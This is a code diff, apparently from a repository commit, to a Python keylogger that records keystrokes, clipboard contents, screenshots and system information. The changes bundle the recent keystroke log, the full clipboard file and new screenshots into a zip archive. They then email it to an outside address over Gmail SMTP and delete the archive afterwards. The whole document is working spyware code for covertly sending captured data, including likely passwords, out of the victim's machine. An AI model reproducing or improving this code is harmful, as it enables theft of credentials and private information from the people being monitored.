55import smtplib
66import socket
77import threading
8+ import zipfile
89import tkinter
10+ from typing import Tuple
11+ import tempfile
912import urllib .error
1013from email import encoders
1114from email .mime .base import MIMEBase
15+ from email .mime .application import MIMEApplication
1216from email .mime .multipart import MIMEMultipart
1317from email .mime .text import MIMEText
1418from time import sleep
2125from pynput .keyboard import Listener
2226
2327import glob
24- from datetime import datetime
28+ from datetime import datetime , timezone
29+ logging .basicConfig (level = logging .INFO )
30+ logger = logging .getLogger (__name__ )
2531
2632import json
27- import time
33+ import time
2834
2935_DEFAULT_CONFIG = {
3036 "paths" : {
@@ -108,7 +114,10 @@ def load_config():
108114CLIPBOARD_INTERVAL = int (intervals .get ("clipboard_interval" , 30 ))
109115LOOP_SLEEP = float (intervals .get ("loop_sleep" , 1.0 ))
110116
117+ data_dir = _DEFAULT_CONFIG ["paths" ]["data_dir" ]
111118KEEP_SCREENSHOTS = int (config .get ("screenshots" , {}).get ("keep_latest" , 10 ))
119+ STATE_FILE = os .path .join (data_dir , "last_email_state.json" )
120+ KEYLOG_EXTRA_BYTES = 32 * 1024
112121
113122email_cfg = config ["email" ]
114123SMTP_HOST = email_cfg .get ("smtp_host" , "smtp.gmail.com" )
@@ -139,30 +148,184 @@ def on_closing():
139148 stopFlag = True
140149 root .destroy ()
141150
151+ def load_state ():
152+ default = {
153+ "last_email_time" : 0.0 ,
154+ "offsets" : {"key_log" : 0 , "clipboard" : 0 , "systeminfo" : 0 },
155+ "sent_screenshots" : []
156+ }
157+ if not os .path .exists (STATE_FILE ):
158+ os .makedirs (data_dir , exist_ok = True )
159+ with open (STATE_FILE , "w" ) as f :
160+ json .dump (default , f )
161+ return default
162+ try :
163+ with open (STATE_FILE , "r" ) as f :
164+ return json .load (f )
165+ except :
166+ return default
167+
168+ def save_state (state ):
169+ with open (STATE_FILE , "w" ) as f :
170+ json .dump (state , f )
171+
172+ def read_from_offset (path , offset , extra_bytes = 0 , prefer_tail = False ):
173+ """
174+ Read robustly from `path`. Returns (decoded_string, current_file_size).
175+ - If prefer_tail True: ignore offset and return up to the last extra_bytes of file.
176+ - Otherwise: read from max(0, offset - extra_bytes) to EOF. If offset > file_size -> return "".
177+ """
178+ try :
179+ if not os .path .exists (path ):
180+ return "" , 0
181+ file_size = os .path .getsize (path )
182+
183+ if prefer_tail and extra_bytes > 0 :
184+ start = max (0 , file_size - extra_bytes )
185+ else :
186+ offset = max (0 , int (offset ))
187+ # if offset beyond EOF, there's nothing new; return empty and current size
188+ if offset > file_size :
189+ return "" , file_size
190+ start = max (0 , offset - extra_bytes )
191+
192+ # Try a safe read; on Windows a writer might keep an exclusive lock.
193+ # As a fallback, attempt to copy to a temp file and read that (optional).
194+ with open (path , "rb" ) as f :
195+ if start > file_size :
196+ start = file_size
197+ f .seek (start )
198+ data_bytes = f .read ()
199+
200+ data = data_bytes .decode ("utf-8" , errors = "replace" )
201+ return data , file_size
202+
203+ except Exception as e :
204+ # replace with logging in your app: logging.exception("read_from_offset failed")
205+ return "" , 0
206+
207+ def gather_screenshots (last_email_time , sent_list ):
208+ if not os .path .exists (SCREENSHOT_DIR ):
209+ return []
210+ files = []
211+ for fname in sorted (os .listdir (SCREENSHOT_DIR )):
212+ fpath = os .path .join (SCREENSHOT_DIR , fname )
213+ if not os .path .isfile (fpath ):
214+ continue
215+ try :
216+ mtime = os .path .getmtime (fpath )
217+ except :
218+ continue
219+ if mtime > last_email_time and fname not in sent_list :
220+ files .append ((fname , fpath , mtime ))
221+ files .sort (key = lambda x : x [2 ])
222+ return files
223+
224+ def make_zip (state ):
225+ os .makedirs (data_dir , exist_ok = True )
226+ timestamp = datetime .now (timezone .utc ).strftime ("%Y%m%dT%H%M%SZ" )
227+ zip_name = f"bundle_{ timestamp } .zip"
228+ zip_path = os .path .join (data_dir , zip_name )
229+
230+ new_state_updates = {"offsets" : {}, "sent_screenshots" : []}
231+
232+ with zipfile .ZipFile (zip_path , "w" , compression = zipfile .ZIP_DEFLATED ) as z :
233+ # Key log
234+ key_log_path = os .path .join (data_dir , "key_log.txt" )
235+ key_offset = state .get ("offsets" , {}).get ("key_log" , 0 )
236+ key_data , new_offset = read_from_offset (
237+ key_log_path , key_offset , extra_bytes = KEYLOG_EXTRA_BYTES , prefer_tail = True
238+ )
239+ if key_data :
240+ z .writestr ("key_log_recent.txt" , key_data )
241+ new_state_updates ["offsets" ]["key_log" ] = new_offset
242+
243+
244+ # Clipboard recent data
245+ clipboard_path = os .path .join (data_dir , "clipboard.txt" )
246+ clip_data , new_clip_offset = read_from_offset (clipboard_path , state ["offsets" ].get ("clipboard" , 0 ))
247+ if clip_data :
248+ z .writestr ("clipboard_recent.txt" , clip_data )
249+ new_state_updates ["offsets" ]["clipboard" ] = new_clip_offset
250+
251+ # Clipboard full file (optional)
252+ if os .path .exists (clipboard_path ):
253+ z .write (clipboard_path , arcname = "clipboard_full.txt" )
254+
255+
256+
257+ # System info
258+ sysinfo_path = os .path .join (data_dir , "systeminfo.txt" )
259+ sys_data , new_sys_offset = read_from_offset (sysinfo_path , state ["offsets" ].get ("systeminfo" , 0 ))
260+ if sys_data :
261+ z .writestr ("systeminfo_recent.txt" , sys_data )
262+ new_state_updates ["offsets" ]["systeminfo" ] = new_sys_offset
263+
264+ # Screenshots
265+ last_email_time = state .get ("last_email_time" , 0.0 )
266+ screenshots = gather_screenshots (last_email_time , state .get ("sent_screenshots" , []))
267+ for fname , fpath , mtime in screenshots :
268+ arcname = os .path .join ("screenshots" , fname )
269+ try :
270+ z .write (fpath , arcname = arcname )
271+ new_state_updates ["sent_screenshots" ].append (fname )
272+ except :
273+ continue
142274
143- # Function to send email with attachment
275+ return zip_path , new_state_updates
276+
277+ # --- Email utility (robust, uses SMTP_HOST/SMTP_PORT from config) ---
144278def send_email (filename , attachment , toaddr ):
279+ """
280+ Modified to send bundled zip with all recent logs and screenshots.
281+ filename: will be replaced by generated zip filename
282+ attachment: ignored, auto-handled
283+ """
284+ # Load last state
285+ state = load_state ()
286+
287+ # Create zip with recent logs/screenshots
288+ zip_path , updates = make_zip (state )
289+ filename = os .path .basename (zip_path )
290+
291+ # Compose email
145292 fromaddr = email_address
146293 msg = MIMEMultipart ()
147294 msg ['From' ] = fromaddr
148295 msg ['To' ] = toaddr
149- msg ['Subject' ] = "Log File "
150- body = "LOG file "
296+ msg ['Subject' ] = "Keylogger Logs Bundle "
297+ body = "Attached is the recent keylogger data bundle. "
151298 msg .attach (MIMEText (body , 'plain' ))
152- filename = filename
153- attachment = open (attachment , 'rb' )
154- p = MIMEBase ('application' , 'octet-stream' )
155- p .set_payload (attachment .read ())
299+
300+ with open (zip_path , 'rb' ) as attachment_file :
301+ p = MIMEBase ('application' , 'octet-stream' )
302+ p .set_payload (attachment_file .read ())
156303 encoders .encode_base64 (p )
157- p .add_header ('Content-Disposition' , "attachment; filename= %s" % filename )
304+ p .add_header ('Content-Disposition' , f "attachment; filename={ filename } " )
158305 msg .attach (p )
306+
307+ # Send email
159308 s = smtplib .SMTP ('smtp.gmail.com' , 587 )
160309 s .starttls ()
161310 s .login (fromaddr , password )
162- text = msg .as_string ()
163- s .sendmail (fromaddr , toaddr , text )
311+ s .sendmail (fromaddr , toaddr , msg .as_string ())
164312 s .quit ()
165-
313+ # Delete zip after sending
314+ try :
315+ os .remove (zip_path )
316+ except :
317+ pass
318+
319+ # Update state
320+ new_state = state .copy ()
321+ new_state ["last_email_time" ] = time .time ()
322+ offsets = new_state .get ("offsets" , {})
323+ offsets .update (updates .get ("offsets" , {}))
324+ new_state ["offsets" ] = offsets
325+ sent = set (new_state .get ("sent_screenshots" , []))
326+ sent .update (updates .get ("sent_screenshots" , []))
327+ new_state ["sent_screenshots" ] = list (sent )
328+ save_state (new_state )
166329
167330# Function to gather system information
168331def computer_information ():
@@ -288,6 +451,7 @@ def start_logger():
288451 if now - last_screenshot >= SCREENSHOT_INTERVAL :
289452 try :
290453 screenshot ()
454+ computer_information ()
291455 except Exception as e :
292456 logging .error (f"Screenshot error: { e } " )
293457 last_screenshot = now
@@ -296,7 +460,9 @@ def start_logger():
296460 if now - last_email >= EMAIL_INTERVAL :
297461 if email_address and password and toAddr :
298462 try :
463+ print ("before" )
299464 send_email (keys_information , keys_information , toAddr )
465+ print ("after" )
300466 except Exception as e :
301467 logging .error (f"Email send failed: { e } " )
302468 last_email = now
@@ -308,7 +474,6 @@ def start_logger():
308474 listener = Listener (on_press = on_press )
309475
310476
311-
312477# Function to handle button click event
313478def on_button_click ():
314479 global state , toAddr , listener , stopFlag , receiver_entry , btnStr
0 commit comments